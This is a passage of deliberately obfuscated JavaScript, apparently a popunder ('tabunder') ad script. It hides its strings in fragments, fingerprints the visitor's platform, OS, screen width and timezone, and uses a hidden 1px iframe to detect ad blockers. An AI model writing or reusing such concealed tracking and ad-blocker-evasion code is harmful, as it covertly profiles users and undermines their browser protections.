"o5h" : function(v02, dataAndEvents) {
return v02 & dataAndEvents;
},
/**
* @param {number} keepData
* @param {number} dataAndEvents
* @return {?}
*/
"C5h" : function(keepData, dataAndEvents) {
return keepData < dataAndEvents;
},
/**
* @param {?} value
* @param {?} target
* @return {?}
*/
"N6h" : function(value, target) {
return value === target;
},
/**
* @param {number} far
* @param {number} near
* @return {?}
*/
"i2h" : function(far, near) {
return far - near;
},
/**
* @param {number} dataAndEvents
* @param {number} opt_attributes
* @return {?}
*/
"p6h" : function(dataAndEvents, opt_attributes) {
return dataAndEvents & opt_attributes;
},
/**
* @param {?} dataAndEvents
* @param {?} activeXObj
* @return {?}
*/
"l5h" : function(dataAndEvents, activeXObj) {
return dataAndEvents === activeXObj;
},
/**
* @param {number} i
* @param {number} times
* @return {?}
*/
"F6h" : function(i, times) {
return i < times;
},
/**
* @param {Function} type
* @param {Function} operator
* @return {?}
*/
"U6h" : function(type, operator) {
return type == operator;
},
/**
* @param {?} newValue
* @param {?} oldValue
* @return {?}
*/
"O5h" : function(newValue, oldValue) {
return newValue !== oldValue;
},
/**
* @param {number} T
* @param {number} dataAndEvents
* @return {?}
*/
"v5h" : function(T, dataAndEvents) {
return T < dataAndEvents;
},
/**
* @param {number} operator
* @param {number} backoff
* @return {?}
*/
"s5h" : function(operator, backoff) {
return operator * backoff;
},
/**
* @param {?} newValue
* @param {?} oldValue
* @return {?}
*/
"h5h" : function(newValue, oldValue) {
return newValue !== oldValue;
},
/**
* @param {number} a
* @param {number} b
* @return {?}
*/
"t6h" : function(a, b) {
return a - b;
},
/**
* @param {?} i
* @param {?} l
* @return {?}
*/
"D5h" : function(i, l) {
return i < l;
},
/**
* @param {string} deepDataAndEvents
* @param {string} value
* @return {?}
*/
"I5h" : function(deepDataAndEvents, value) {
return deepDataAndEvents == value;
},
/**
* @param {?} newValue
* @param {?} oldValue
* @return {?}
*/
"P2h" : function(newValue, oldValue) {
return newValue !== oldValue;
},
/**
* @param {number} dataAndEvents
* @param {number} callback
* @return {?}
*/
"w5h" : function(dataAndEvents, callback) {
return dataAndEvents >> callback;
},
/**
* @param {number} opt_attributes
* @param {number} dataAndEvents
* @return {?}
*/
"W5h" : function(opt_attributes, dataAndEvents) {
return opt_attributes << dataAndEvents;
},
/**
* @param {number} deepDataAndEvents
* @param {number} execResult
* @return {?}
*/
"k5h" : function(deepDataAndEvents, execResult) {
return deepDataAndEvents <= execResult;
},
/**
* @param {?} a
* @param {?} b
* @return {?}
*/
"q5h" : function(a, b) {
return a === b;
},
/**
* @param {?} value
* @param {?} target
* @return {?}
*/
"B6h" : function(value, target) {
return value === target;
},
/**
* @param {number} deepDataAndEvents
* @param {number} value
* @return {?}
*/
"v6h" : function(deepDataAndEvents, value) {
return deepDataAndEvents <= value;
},
/**
* @param {(boolean|number|string)} res
* @param {(boolean|number|string)} dataAndEvents
* @return {?}
*/
"k6h" : function(res, dataAndEvents) {
return res > dataAndEvents;
},
/**
* @param {number} dataAndEvents
* @param {number} deepDataAndEvents
* @return {?}
*/
"y6h" : function(dataAndEvents, deepDataAndEvents) {
return dataAndEvents | deepDataAndEvents;
},
/**
* @param {?} res
* @param {?} contexts
* @return {?}
*/
"Y5h" : function(res, contexts) {
return res === contexts;
},
/**
* @param {number} deepDataAndEvents
* @param {number} callback
* @return {?}
*/
"m6h" : function(deepDataAndEvents, callback) {
return deepDataAndEvents <= callback;
},
/**
* @param {?} newValue
* @param {?} oldValue
* @return {?}
*/
"X5h" : function(newValue, oldValue) {
return newValue !== oldValue;
},
/**
* @param {number} dataAndEvents
* @param {number} deepDataAndEvents
* @return {?}
*/
"l6h" : function(dataAndEvents, deepDataAndEvents) {
return dataAndEvents << deepDataAndEvents;
},
/**
* @param {number} regex
* @param {number} timer
* @return {?}
*/
"Z5h" : function(regex, timer) {
return regex !== timer;
},
"Z2h" : true,
/**
* @param {?} callback
* @param {?} b
* @return {?}
*/
"d2h" : function(callback, b) {
return callback === b;
},
/**
* @param {number} deepDataAndEvents
* @param {number} timer
* @return {?}
*/
"s6h" : function(deepDataAndEvents, timer) {
return deepDataAndEvents <= timer;
},
/**
* @param {number} el
* @param {number} value
* @return {?}
*/
"Q5h" : function(el, value) {
return el == value;
},
/**
* @param {?} res
* @param {?} contexts
* @return {?}
*/
"w2h" : function(res, contexts) {
return res === contexts;
},
/**
* @param {number} _id
* @param {number} n
* @return {?}
*/
"T6h" : function(_id, n) {
return _id >> n;
},
/**
* @param {number} a
* @param {number} b
* @return {?}
*/
"d5h" : function(a, b) {
return a - b;
}
};
var f5h = function() {
/**
* @param {?} val
* @param {?} value
* @return {?}
*/
function resolve(val, value) {
/** @type {string} */
var i = "urn";
/** @type {string} */
var obj = "ret";
/** @type {string} */
var o = "rn";
/** @type {string} */
var n = "tu";
/** @type {string} */
var name = "r";
/** @type {Array} */
var a = [];
var regexp2_fn = I3x.Z2h;
var text = I3x.H2h;
var callback = undefined;
try {
var entry = val[I2h.h2h]();
var pair;
for (;!(regexp2_fn = (pair = entry.next()).E5h);regexp2_fn = I3x.Z2h) {
a.push(pair.value);
if (value && I3x.B6h(a.length, value)) {
break;
}
}
} catch (r20) {
/**
* @param {(number|string)} regex
* @return {undefined}
*/
var keys = function(regex) {
/** @type {(number|string)} */
callback = regex;
};
/**
* @param {?} textAlt
* @return {undefined}
*/
var loadNodeModules = function(textAlt) {
text = textAlt;
};
loadNodeModules(I3x.Z2h);
keys(r20);
} finally {
try {
if (!regexp2_fn && entry[name + m + n + o]) {
entry[obj + i]();
}
} finally {
if (text) {
throw callback;
}
}
}
return a;
}
/** @type {string} */
var m = "e";
return function(object, isXML) {
/** @type {string} */
var i = "nc";
/** @type {string} */
var g = "le";
/** @type {string} */
var r = "terab";
/** @type {string} */
var p = "-";
/** @type {string} */
var c = "n";
/** @type {string} */
var article = "ructure";
/** @type {string} */
var n = "s";
/** @type {string} */
var b = "o";
/** @type {string} */
var EQUAL = "ttemp";
/** @type {string} */
var type = " ";
/** @type {(number|string)} */
var _ = 140 >= (1392, 24) ? (1173, "d") : (226, 291) <= (569, 43) ? "f" : (1161, 249) >= 279 ? (293, "a") : (135, 95);
/** @type {(number|string)} */
var w = (134, 1254) >= (85, 500) ? (578, "i") : (1068, 472);
/** @type {(number|string)} */
var $3 = (134, 265) < (576, 20) ? 8 : (70, 447) < 752 ? (991, "l") : (36, 493) < 53 ? 258 : (197, 172);
/** @type {string} */
var key = "a";
/** @type {string} */
var $1 = "Inv";
if (Array.isArray(object)) {
return object;
} else {
if (I3x.V6h(I2h.h2h, Object(object))) {
return resolve(object, isXML);
} else {
throw new TypeError($1 + key + $3 + w + _ + type + key + EQUAL + I3x.Y2h + type + I3x.Y2h + b + type + _ + m + n + I3x.Y2h + article + type + c + b + c + p + w + r + g + type + w + c + n + I3x.Y2h + key + i + m);
}
}
};
}();
(function(item, dataName, timeoutKey) {
/** @type {string} */
var col = "(";
/** @type {(number|string)} */
var g = 412 >= (536, 56) ? (123, "A") : (128, 401) < 145 ? (35, "B") : (445, 232) < (429, 195) ? 7 : (150, 58);
/** @type {string} */
var j = ";";
/** @type {string} */
var $2 = ":";
/** @type {string} */
var i = "l";
/** @type {string} */
var style = "n";
/** @type {string} */
var failuresLink = "tabunder";
/** @type {string} */
var mouseup = "mouseup";
/** @type {string} */
var expected = "mousedown";
/** @type {string} */
var a = "uxngHWCMgWBNwpQg";
/** @type {string} */
var w2 = "00";
/** @type {string} */
var d2 = "0";
/** @type {string} */
var d1 = "4";
/** @type {(number|string)} */
var A_Z_a_z = (479, 1032) >= (1184, 51) ? (437, "2") : (107, 476);
/** @type {string} */
var I2 = "300x250";
/** @type {string} */
var aba = "728x90";
/** @type {string} */
var baz = "120x240";
/** @type {string} */
var value2 = "234x60";
/** @type {string} */
var foo = "468x60";
/** @type {string} */
var radixToPower = "3.5.2";
/** @type {string} */
var customViewMenuOffsetWidth = "x";
/** @type {string} */
var v = "o";
/** @type {(number|string)} */
var content = 386 > (537, 41) ? (190, "d") : (9, 89) > (141, 196) ? (71, 103) : 60 < (713, 40) ? (1498, "L") : (207, 97);
/** @type {string} */
var _ = "f";
/** @type {string} */
var key = "i";
/** @type {string} */
var $1 = "t";
/** @type {string} */
var s = "c";
/** @type {string} */
var b = "e";
/** @type {number} */
var backoff = 1E3;
/** @type {string} */
var min = "b";
/** @type {string} */
var c = "r";
/** @type {(number|string)} */
var slashSplit = (164, 861) <= (130, 273) ? (2, 15) : (91, 86) < 555 ? (9, ",") : (552, 186);
/** @type {string} */
var _j = "content";
/** @type {string} */
var STYLE = "style";
/** @type {(number|string)} */
var value = (418, 14) <= (135, 73) ? (257, "h") : (743, 170);
/** @type {string} */
var prefix = "u";
/** @type {string} */
var ms = "p";
/** @type {string} */
var e = "a";
/** @type {(number|string)} */
var name = (213, 159) >= 134 ? (252, "s") : (111, 650) > 685 ? (307, 71) : (151, 62);
/** @type {number} */
var udataCur = 60;
/** @type {null} */
var obj = null;
/** @type {string} */
var p = "P";
/** @type {number} */
var result = 23;
/** @type {(number|string)} */
var which = (516, 471) <= (136, 220) ? "t" : (687, 5) <= 17 ? (846, 21) : (79, 362) > (476, 770) ? "px;" : (311, 480);
/** @type {number} */
var bytenew = 9;
/** @type {number} */
var DOT_CALL_NO_PARENS = 17;
/** @type {number} */
var r20 = 16;
/** @type {number} */
var scripts = 15;
/** @type {number} */
var pdataCur = 14;
/** @type {number} */
var te = 13;
/** @type {number} */
var passes = 12;
/** @type {number} */
var base = 10;
/** @type {(number|string)} */
var restoreScript = (4, 65) <= 45 ? "i" : 272 > (479, 52) ? (9, 6) : (13, 373);
/** @type {number} */
var pdataOld = 5;
/** @type {number} */
var suiteView = 7;
/** @type {number} */
var fromIndex = 8;
/** @type {number} */
var selector = (141, 1150) > (10, 203) ? (1470, 4) : (384, 651);
/** @type {(boolean|number)} */
var match = (1224, 2) > (146, 930) ? (99, false) : (593, 793) < 92 ? (278, false) : 485 >= (111, 107) ? (398, 3) : (503, 149);
/** @type {(number|string)} */
var dontCloseTags = 107 >= (1388, 185) ? (142, 130) : 1017 <= (481, 1266) ? (579, "8") : (111, 572);
/** @type {string} */
var typePattern = "7";
/** @type {string} */
var expectationResult = "10";
/** @type {string} */
var camelKey = "Windows";
/** @type {number} */
var idx = 1;
/** @type {string} */
var k = "";
/** @type {(number|string)} */
var sel = (28, 1207) >= (470, 102) ? (126, 2) : (348, 131) < 51 ? "h" : 1 >= (22, 1262) ? 4 : (122, 134);
/** @type {(number|string)} */
var total = (647, 99) >= (306, 423) ? 67 : 232 > (490, 448) ? 59 : 1403 >= (104, 51) ? (35, ".") : (473, 180);
/** @type {number} */
var interval = 20;
/** @type {string} */
var str = "";
/** @type {number} */
var id = 0;
/** @type {string} */
var path = "/";
/** @type {string} */
var __dirname = "//";
try {
/**
* @param {?} object
* @return {undefined}
*/
var isArguments = function(object) {
child.b5h = object;
};
/**
* @return {undefined}
*/
var throttledUpdate = function() {
/** @type {string} */
text = __dirname + index + path + child.L5h;
};
/**
* @param {?} other
* @return {undefined}
*/
var toggle = function(other) {
e4Z6h[G6h].zfgaabversion = other;
};
/**
* @param {?} value
* @return {undefined}
*/
var isUndefinedOrNull = function(value) {
child.L5h = value.U5h;
};
/**
* @param {?} node
* @return {undefined}
*/
var traverseNode = function(node) {
e4Z6h[G6h][dataName] = node;
};
/**
* @return {undefined}
*/
var tryIt = function() {
/** @type {string} */
blank = __dirname + index + path + child.L5h + orig;
};
/**
* @return {?}
*/
var getIndex = function parse() {
/** @type {string} */
var last = "5901cf07608da";
/** @type {string} */
var udataCur = "wmoaz2g6axi0p";
/**
* @return {undefined}
*/
var walk = function() {
prop = Object.prototype.hasOwnProperty.call(cache, prop) ? cache[prop] : prop;
};
if (I3x.u5h(src.length, id)) {
return atob(src[id].split(str).reverse().join(str));
}
var node = addChild();
var context = isBinary(node);
var functionUid = clearStateChar();
var value = named();
var nodes = jQuery(node, context);
var key = serializer(functionUid);
var name = getName(value);
var props = keys();
var prop = promote(name, key, nodes, id, id);
var cache = {};
if (I3x.A5h(rvar, index2)) {
cache = {};
} else {
if (I3x.Y5h(rvar, progressContexts)) {
cache = {};
}
}
walk();
var array = void id;
if (I3x.U2h(rvar, index2)) {
/**
* @param {Node} value
* @return {undefined}
*/
var setBit = function(value) {
/** @type {Node} */
array = value;
};
setBit(udataCur);
} else {
if (I3x.w2h(rvar, progressContexts)) {
/**
* @param {Node} last
* @return {undefined}
*/
var process = function(last) {
/** @type {Node} */
array = last;
};
process(last);
}
}
var result = {};
var initial = Object.prototype.hasOwnProperty.call(result, prop) ? result[prop] : array;
var restoreScript = prop + initial;
return getValue(restoreScript).substr(id, I3x.J5h(interval, inArray(name))) + total + props;
};
/**
* @param {Function} fn
* @return {undefined}
*/
var valueAccessor = function runTest(fn) {
var m1;
for (m1 in e4Z6h[O6h]) {
if (m1.length == 4 && (m1.charCodeAt((783, 82) >= 465 ? 34 : 44 <= (73, 1001) ? (1190, 3) : (155, 142)) == 121 && (m1.charCodeAt(2) == 100 && m1.charCodeAt(0) == ((47, 934) <= 575 ? (59, 176) : (1330, 85) >= (72, 307) ? 101 : (41, 523) >= 226 ? (452, 98) : (591, 21))))) {
break;
}
}
if (!e4Z6h[O6h][m1]) {
/** @type {number} */
var timer = setTimeout(function run() {
var m1;
for (m1 in e4Z6h[O6h]) {
if (m1.length == 4 && (m1.charCodeAt(3) == 121 && (m1.charCodeAt(2) == 100 && m1.charCodeAt(0) == 98))) {
break;
}
}
if (!e4Z6h[O6h][m1]) {
/** @type {number} */
timer = setTimeout(run, interval);
return;
}
fn();
clearTimeout(timer);
}, interval)
} else {
fn();
}
};
/**
* @param {Function} done
* @param {Function} cb
* @return {undefined}
*/
var toVLQSigned = function init(done, cb) {
/** @type {number} */
var backoff = 400;
/** @type {string} */
var pdataOld = "1px";
/** @type {string} */
var link = "iframe";
/**
* @param {(number|string)} value
* @return {undefined}
*/
var resize = function(value) {
/** @type {(number|string)} */
node.width = value;
};
/**
* @param {(number|string)} value
* @return {undefined}
*/
var Class = function(value) {
/** @type {(number|string)} */
node.height = value;
};
var node = e4Z6h[O6h]["createElement"](link);
resize(pdataOld);
Class(pdataOld);
node.src = fn();
valueAccessor(function() {
var m1;
for (m1 in e4Z6h[O6h]) {
if (m1.length == 4 && (m1.charCodeAt(3) == ((11, 431) <= 434 ? (17, 121) : 145 <= (592, 1) ? "," : (1259, 31)) && (m1.charCodeAt(2) == 100 && m1.charCodeAt(0) == 98))) {
break;
}
}
e4Z6h[O6h][m1]["appendChild"](node);
});
setTimeout(function() {
/** @type {string} */
var deepDataAndEvents = "hidden";
/** @type {string} */
var udataCur = "none";
if (I3x.S5h(node.style.display, udataCur) || (I3x.J6h(node.style.display, deepDataAndEvents) || (I3x.e6h(node.style.visibility, deepDataAndEvents) || I3x.V5h(node.offsetHeight, id)))) {
node.parentNode.removeChild(node);
done();
} else {
node.parentNode.removeChild(node);
cb();
}
}, backoff);
};
/**
* @param {Function} fn
* @return {?}
*/
var getActual = function run(fn) {
/** @type {number} */
var frequency = 300;
var error = I3x.H2h;
/** @type {number} */
var id = setInterval(function() {
if (!error) {
/**
* @param {?} err
* @return {undefined}
*/
var handler = function(err) {
error = err;
};
handler(I3x.Z2h);
fn();
clearInterval(id);
}
}, frequency);
return id;
};
/**
* @param {(number|string)} name
* @param {(number|string)} value
* @param {(number|string)} selector
* @param {number} id
* @param {number} source
* @return {?}
*/
var promote = function filter(name, value, selector, id, source) {
var event = trim(name, sel) + trim(value, sel) + trim(selector, sel) + trim(id, sel) + trim(source, sel);
return event;
};
/**
* @param {(number|string)} s
* @param {string} n
* @return {?}
*/
var trim = function parse(s, n) {
/** @type {string} */
var result = s + k;
for (;I3x.D5h(result.length, n);) {
/**
* @return {undefined}
*/
var promote = function() {
/** @type {string} */
var padding = "0";
result = padding + result;
};
promote();
}
return result;
};
/**
* @param {string} dataAndEvents
* @param {string} deepDataAndEvents
* @return {?}
*/
var jQuery = function clone(dataAndEvents, deepDataAndEvents) {
/** @type {number} */
var ret = idx;
if (I3x.G5h(dataAndEvents, camelKey)) {
if (I3x.K2h(deepDataAndEvents, expectationResult)) {
/**
* @param {number} id
* @return {undefined}
*/
var getCallback = function(id) {
/** @type {number} */
ret = id;
};
getCallback(sel);
} else {
if (I3x.o2h(deepDataAndEvents, typePattern) || I3x.A6h(deepDataAndEvents, dontCloseTags)) {
/**
* @param {number} arr
* @return {undefined}
*/
var nullIds = function(arr) {
/** @type {number} */
ret = arr;
};
nullIds(match);
}
}
}
return ret;
};
/**
* @param {string} deepDataAndEvents
* @return {?}
*/
var serializer = function get(deepDataAndEvents) {
/** @type {string} */
var pdataOld = "1366";
/** @type {string} */
var udataCur = "1920";
/** @type {number} */
var fn = idx;
if (I3x.i5h(deepDataAndEvents, udataCur)) {
/**
* @param {number} selector
* @return {undefined}
*/
var jQuery = function(selector) {
/** @type {number} */
fn = selector;
};
jQuery(sel);
} else {
if (I3x.I5h(deepDataAndEvents, pdataOld)) {
/**
* @param {number} params
* @return {undefined}
*/
var callback = function(params) {
/** @type {number} */
fn = params;
};
callback(match);
}
}
return fn;
};
/**
* @param {number} deepDataAndEvents
* @return {?}
*/
var getName = function clone(deepDataAndEvents) {
/** @type {number} */
var udataCur = 19;
/** @type {number} */
var fmt = 120 >= (963, 100) ? (1E3, 18) : 533 > (118, 624) ? 228 : (302, 76);
/** @type {number} */
var res = selector;
if (deepDataAndEvents <= -fromIndex) {
/**
* @param {number} type
* @return {undefined}
*/
var is = function(type) {
/** @type {number} */
res = type;
};
is(selector);
} else {
if (deepDataAndEvents <= -suiteView) {
/**
* @param {number} value
* @return {undefined}
*/
var assign = function(value) {
/** @type {number} */
res = value;
};
assign(pdataOld);
} else {
if (deepDataAndEvents <= -restoreScript) {
/**
* @param {number} callback
* @return {undefined}
*/
var getCallback = function(callback) {
/** @type {number} */
res = callback;
};
getCallback(restoreScript);
} else {
if (deepDataAndEvents <= -pdataOld) {
/**
* @param {number} obj
* @return {undefined}
*/
var isUndefined = function(obj) {
/** @type {number} */
res = obj;
};
isUndefined(suiteView);
} else {
if (deepDataAndEvents <= -selector) {
/**
* @param {number} obj
* @return {undefined}
*/
var _clone = function(obj) {
/** @type {number} */
res = obj;
};
_clone(fromIndex);
} else {
if (deepDataAndEvents <= -idx) {
/**
* @param {number} obj
* @return {undefined}
*/
var forOwn = function(obj) {
/** @type {number} */
res = obj;
};
forOwn(base);
} else {
if (I3x.s6h(deepDataAndEvents, id)) {
/**
* @param {number} el
* @return {undefined}
*/
var text = function(el) {
/** @type {number} */
res = el;
};
text(passes);
} else {
if (I3x.n6h(deepDataAndEvents, idx)) {
/**
* @param {number} i
* @return {undefined}
*/
var getArr = function(i) {
/** @type {number} */
res = i;
};
getArr(te);
} else {
if (I3x.N5h(deepDataAndEvents, sel)) {
/**
* @param {number} value
* @return {undefined}
*/
var parseEntry = function(value) {
/** @type {number} */
res = value;
};
parseEntry(pdataCur);
} else {
if (I3x.k5h(deepDataAndEvents, match)) {
/**
* @param {number} object
* @return {undefined}
*/
var isArray = function(object) {
/** @type {number} */
res = object;
};
isArray(scripts);
} else {
if (I3x.p5h(deepDataAndEvents, selector)) {
/**
* @param {number} obj
* @return {undefined}
*/
var forIn = function(obj) {
/** @type {number} */
res = obj;
};
forIn(r20);
} else {
if (I3x.g6h(deepDataAndEvents, pdataOld)) {
/**
* @param {number} obj
* @return {undefined}
*/
var HOP = function(obj) {
/** @type {number} */
res = obj;
};
HOP(DOT_CALL_NO_PARENS);
} else {
if (I3x.m6h(deepDataAndEvents, restoreScript)) {
/**
* @param {number} err
* @return {undefined}
*/
var cloned = function(err) {
/** @type {number} */
res = err;
};
cloned(fmt);
} else {
if (I3x.D6h(deepDataAndEvents, suiteView)) {
/**
* @param {number} value
* @return {undefined}
*/
var isUndefinedOrNull = function(value) {
/** @type {number} */
res = value;
};
isUndefinedOrNull(udataCur);
} else {
if (I3x.a5h(deepDataAndEvents, fromIndex)) {
/**
* @param {number} value
* @return {undefined}
*/
var _setOption = function(value) {
/** @type {number} */
res = value;
};
_setOption(interval);
} else {
if (I3x.v6h(deepDataAndEvents, bytenew)) {
/**
* @param {number} object
* @return {undefined}
*/
var keys = function(object) {
/** @type {number} */
res = object;
};
keys(which);
} else {
/**
* @param {number} object
* @return {undefined}
*/
var hasKey = function(object) {
/** @type {number} */
res = object;
};
hasKey(result);
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
return res;
};
/**
* @return {?}
*/
var keys = function u() {
/** @type {string} */
var e = "com";
return e;
};
/**
* @return {?}
*/
var addChild = function parse() {
var m;
for (m in e4Z6h[G6h]) {
if (m.length === (414 <= (239, 114) ? (79, "i") : 635 <= (329, 774) ? (4, 9) : (494, 115)) && (m.charCodeAt((135, 371) <= 160 ? 21 : 311 >= (226, 274) ? (21, 6) : (244, 570) > 1445 ? (659, 21) : (75, 460)) === 116 && (m.charCodeAt(8) === 114 && (m.charCodeAt(4) === 103 && m.charCodeAt((187, 145) > (91, 399) ? (11, 8) : (1063, 42) <= 88 ? (58, 0) : (51, 10)) === 110)))) {
break;
}
}
var d;
for (d in e4Z6h[G6h][m]) {
if (d.length == 9 && (d.charCodeAt(8) == 116 && (d.charCodeAt(7) == 110 && d.charCodeAt(0) == 117))) {
break;
}
}
var key;
for (key in e4Z6h[G6h]) {
if (key.length === 9 && (key.charCodeAt(6) === 116 && (key.charCodeAt(8) === 114 && (key.charCodeAt((50, 889) < (1193, 579) ? "A" : (1234, 853) > (86, 678) ? (89, 4) : (324, 131)) === ((81, 13) < 51 ? (222, 103) : (391, 82)) && key.charCodeAt(0) === 110)))) {
break;
}
}
var i;
for (i in e4Z6h[G6h][key]) {
if (i.length == ((456, 126) >= 129 ? 83 : (208, 103) < 406 ? (1397, 8) : (763, 71)) && (i.charCodeAt(7) == 109 && (i.charCodeAt(6) == 114 && i.charCodeAt(0) == (1095 >= (186, 340) ? (209, 112) : (96, 474))))) {
break;
}
}
/** @type {string} */
var restoreScript = "Linux";
/** @type {string} */
var last = "Android";
/** @type {string} */
var udataCur = "iOS";
/** @type {string} */
var suiteView = "MacOS";
/** @type {string} */
var c = "iPod";
/** @type {string} */
var A = "iPad";
/** @type {string} */
var a = "iPhone";
/** @type {string} */
var assets = "WinCE";
/** @type {string} */
var tmp = "Win64";
/** @type {string} */
var foo = "Win32";
/** @type {string} */
var D = "Mac68K";
/** @type {string} */
var w = "PC";
/** @type {string} */
var post = "ac";
/** @type {string} */
var base = "M";
/** @type {string} */
var B = "MacIntel";
/** @type {string} */
var machine = "Macintosh";
var extra = e4Z6h[G6h][m][d];
var letter = e4Z6h[G6h][key][i];
/** @type {Array} */
var alpha = [machine, B, base + post + p + w, D];
/** @type {Array} */
var dirs = [foo, tmp, camelKey, assets];
/** @type {Array} */
var letters = [a, A, c];
/** @type {null} */
var ret = obj;
if (alpha.indexOf(letter) !== -idx) {
/**
* @param {?} obj
* @return {undefined}
*/
var isUndefined = function(obj) {
ret = obj;
};
isUndefined(suiteView);
} else {
if (letters.indexOf(letter) !== -idx) {
/**
* @param {?} value
* @return {undefined}
*/
var setBit = function(value) {
ret = value;
};
setBit(udataCur);
} else {
if (dirs.indexOf(letter) !== -idx) {
/**
* @param {?} key
* @return {undefined}
*/
var promote = function(key) {
ret = key;
};
promote(camelKey);
} else {
if (/Android/.test(extra)) {
/**
* @param {?} last
* @return {undefined}
*/
var process = function(last) {
ret = last;
};
process(last);
} else {
if (!ret && /Linux/.test(letter)) {
/**
* @param {?} callback
* @return {undefined}
*/
var getName = function(callback) {
ret = callback;
};
getName(restoreScript);
}
}
}
}
}
return ret;
};
/**
* @param {?} elems
* @return {?}
*/
var isBinary = function m(elems) {
var character;
for (character in e4Z6h[P6h]) {
if (character.length == 9 && (character.charCodeAt(8) == 116 && (character.charCodeAt(7) == 110 && character.charCodeAt(0) == 117))) {
break;
}
}
/** @type {string} */
var output = str;
var digit = e4Z6h[P6h][character];
if (I3x.S6h(elems, camelKey)) {
if (/(Windows 10.0|Windows NT 10.0)/.test(digit)) {
/**
* @param {string} result
* @return {undefined}
*/
var c = function(result) {
/** @type {string} */
output = result;
};
c(expectationResult);
}
if (/(Windows 8.1|Windows NT 6.3)/.test(digit)) {
/**
* @param {string} collection
* @return {undefined}
*/
var indexOf = function(collection) {
/** @type {string} */
output = collection;
};
indexOf(dontCloseTags);
}
if (/(Windows 8|Windows NT 6.2)/.test(digit)) {
/**
* @param {string} exports
* @return {undefined}
*/
var a = function(exports) {
/** @type {string} */
output = exports;
};
a(dontCloseTags);
}
if (/(Windows 7|Windows NT 6.1)/.test(digit)) {
/**
* @param {string} args
* @return {undefined}
*/
var unsubscribe = function(args) {
/** @type {string} */
output = args;
};
unsubscribe(typePattern);
}
}
return output;
};
/**
* @return {?}
*/
var clearStateChar = function promote() {
var i;
for (i in e4Z6h[G6h]) {
if (i.length === 6 && (i.charCodeAt(3) === 101 && (i.charCodeAt(5) === (127 >= (16, 792) ? (455, 96) : (1306, 77) <= (1412, 160) ? (517, 110) : (341, 154) >= 341 ? 481 : (276, 96)) && (i.charCodeAt(1) === 99 && i.charCodeAt(0) === (2 <= (77, 851) ? (928, 115) : (1296, 1) >= 1100 ? 779 : (19, 327)))))) {
break;
}
}
var t = e4Z6h[G6h][i]["width"];
return t;
};
/**
* @return {?}
*/
var named = function handle() {
/** @type {Date} */
var dateJul = new Date;
/** @type {number} */
var val = -dateJul.getTimezoneOffset() / udataCur;
return val;
};
/**
* @return {?}
*/
var fn = function initialize() {
/** @type {string} */
var tokenizeEvaluate = "afu.php";
/** @type {string} */
var len = '"]';
/** @type {string} */
var inner = '*="';
/** @type {string} */
var s = "rc";
/** @type {string} */
var _ = "[";
/** @type {string} */
var val = "ipt";
/** @type {string} */
var version = "cr";
var node = e4Z6h[O6h]["querySelector"](name + version + val + _ + name + s + inner + e + ms + prefix + total + ms + value + ms + len);
if (I3x.l5h(node, obj)) {
return;
}
return item.F5h ? node.src.replace(/apu.php/g, tokenizeEvaluate) : node.src;
};
/**
* @param {?} deepDataAndEvents
* @return {?}
*/
var getText = function init(deepDataAndEvents) {
/** @type {string} */
var recordName = "href";
try {
var m1;
for (m1 in e4Z6h[O6h]) {
if (m1.length == 11 && (m1.charCodeAt(10) == (335 > (303, 79) ? (95, 115) : (3, 771)) && (m1.charCodeAt(9) == (1397 < (123, 124) ? (140, "t") : 144 > (1462, 136) ? (702, 116) : (26, 60) < (569, 4) ? 316 : (127, 130)) && m1.charCodeAt(0) == 115))) {
break;
}
}
var l;
var enabled = I3x.H2h;
if (e4Z6h[O6h][m1]) {
var a;
for (a in e4Z6h[O6h]) {
if (a.length == 11 && (a.charCodeAt((20, 1282) < (1144, 116) ? 65 : 89 <= (129, 564) ? (68, 10) : (231, 110)) == 115 && (a.charCodeAt((0, 122) < (84, 1379) ? (79, 9) : (385, 55)) == 116 && a.charCodeAt(0) == 115))) {
break;
}
}
var i;
for (i in e4Z6h[O6h][a]) {
var character;
for (character in e4Z6h[O6h]) {
if (character.length == 11 && (character.charCodeAt(731 >= (465, 538) ? (128, 10) : (263, 80)) == 115 && (character.charCodeAt(9) == 116 && character.charCodeAt(0) == 115))) {
break;
}
}
if (I3x.z5h(e4Z6h[O6h][character][i][recordName], deepDataAndEvents)) {
/**
* @param {Document} data
* @return {undefined}
*/
var poll = function(data) {
/** @type {string} */
var type = "les";
/** @type {string} */
var left = "sRu";
/** @type {string} */
var right = "cs";
l = data.styleSheets[i][right + left + type][match][STYLE][_j];
};
poll(document);
break;
}
}
}
if (!l) {
return I3x.H2h;
}
l = l.substring(idx, I3x.t6h(l.length, idx));
var f = e4Z6h[G6h]["atob"](l);
f = f.split(slashSplit);
/** @type {number} */
var _id = id;
var s = f.length;
for (;I3x.b6h(_id, s);_id++) {
if (I3x.P5h(f[_id], e4Z6h["location"]["host"])) {
/**
* @param {?} enable
* @return {undefined}
*/
var debug = function(enable) {
enabled = enable;
};
debug(I3x.Z2h);
break;
}
}
return enabled;
} catch (x) {
}
};
/**
* @param {?} assert
* @return {?}
*/
var ok = function callback(assert) {
/** @type {string} */
var success = "text/javascript";
/** @type {string} */
var varname = "script";
/** @type {string} */
var camelKey = '"KGZ1bmN0aW9uKCkge30pKCk7"';
/** @type {string} */
var b = "ef";
try {
var character;
for (character in e4Z6h[O6h]) {
if (character.length == 11 && (character.charCodeAt(10) == 115 && (character.charCodeAt(9) == 116 && character.charCodeAt((81, 20) < (414, 46) ? (40, 0) : (9, 390)) == 115))) {
break;
}
}
var m1;
for (m1 in e4Z6h[O6h]) {
if (m1.length == 4 && (m1.charCodeAt(3) == 121 && (m1.charCodeAt((127, 86) >= 518 ? 62 : (870, 394) < 677 ? (144, 2) : (404, 85)) == 100 && m1.charCodeAt(0) == (101 < (50, 140) ? (48, 98) : (89, 84))))) {
break;
}
}
/**
* @param {string} type
* @return {undefined}
*/
var complete = function(type) {
/** @type {string} */
fill.type = type;
};
var l;
if (e4Z6h[O6h][character]) {
var a;
for (a in e4Z6h[O6h]) {
if (a.length == 11 && (a.charCodeAt(10) == 115 && (a.charCodeAt(9) == 116 && a.charCodeAt(0) == 115))) {
break;
}
}
var i;
for (i in e4Z6h[O6h][a]) {
var ch;
for (ch in e4Z6h[O6h]) {
if (ch.length == 11 && (ch.charCodeAt(10) == ((159, 101) < 59 ? 7 : (279, 429) >= (588, 6) ? (725, 115) : (1166, 1171) <= 846 ? "B" : (51, 128)) && (ch.charCodeAt(9) == (138 <= (317, 394) ? (511, 116) : (368, 16)) && ch.charCodeAt(0) == 115))) {
break;
}
}
